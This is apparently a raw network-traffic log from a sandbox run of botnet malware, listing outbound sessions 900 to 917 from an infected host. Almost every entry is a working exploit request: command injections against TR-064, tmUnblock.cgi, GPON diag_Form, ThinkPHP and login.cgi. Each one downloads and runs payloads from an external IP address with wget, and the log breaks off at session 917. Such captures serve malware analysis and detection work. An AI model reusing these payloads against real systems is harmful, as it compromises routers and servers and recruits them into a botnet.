Mar 21, 2024 05:18:06.939785957 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
900	192.168.2.23	36022	167.248.186.26	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:07.317498922 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:07.991754055 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:08.759639025 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:10.295439959 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:13.367006063 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:19.510148048 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:31.796447039 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
901	192.168.2.23	41300	45.33.252.52	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:07.484869957 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:08.346071959 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:09.370908976 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:11.418931007 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:15.670703888 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
902	192.168.2.23	46554	179.52.52.111	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:07.913196087 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:08.062889099 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
903	192.168.2.23	58784	172.67.233.223	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:07.991924047 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:08.283087969 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
904	192.168.2.23	19039	80.91.96.220	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:08.264786959 CET	32	IN	Data Raw: 28 52 65 66 2e 49 64 3a 20 3f 73 4b 66 59 52 73 43 34 4d 34 61 32 57 38 50 61 43 34 7a 46 3f 29 Data Ascii: (Ref.Id: ?sKfYRsC4M4a2W8PaC4zF?)

Session ID	Source IP	Source Port	Destination IP	Destination Port
905	192.168.2.23	51654	172.65.110.112	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:08.988977909 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
906	192.168.2.23	35264	5.191.164.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:09.218180895 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
907	192.168.2.23	34036	37.101.124.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:09.218254089 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
908	192.168.2.23	48708	88.195.222.226	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:09.459099054 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
909	192.168.2.23	35194	172.65.37.56	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:10.997370005 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
910	192.168.2.23	42922	172.67.116.229	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:11.215966940 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
911	192.168.2.23	59370	172.67.228.198	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:11.216590881 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
912	192.168.2.23	39792	12.43.214.218	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.205679893 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:12.599101067 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:13.366995096 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:14.870830059 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:17.974387884 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:24.117559910 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:36.147918940 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
913	192.168.2.23	53144	210.128.2.74	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.225440979 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
914	192.168.2.23	52408	37.71.164.161	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.225544930 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
915	192.168.2.23	50994	79.114.149.86	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.225562096 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
916	192.168.2.23	47340	37.172.22.38	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:12.225562096 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
917	192.168.2.23	58804	212.202.59.76	443

Timestamp	Bytes transferred	Direction	Data
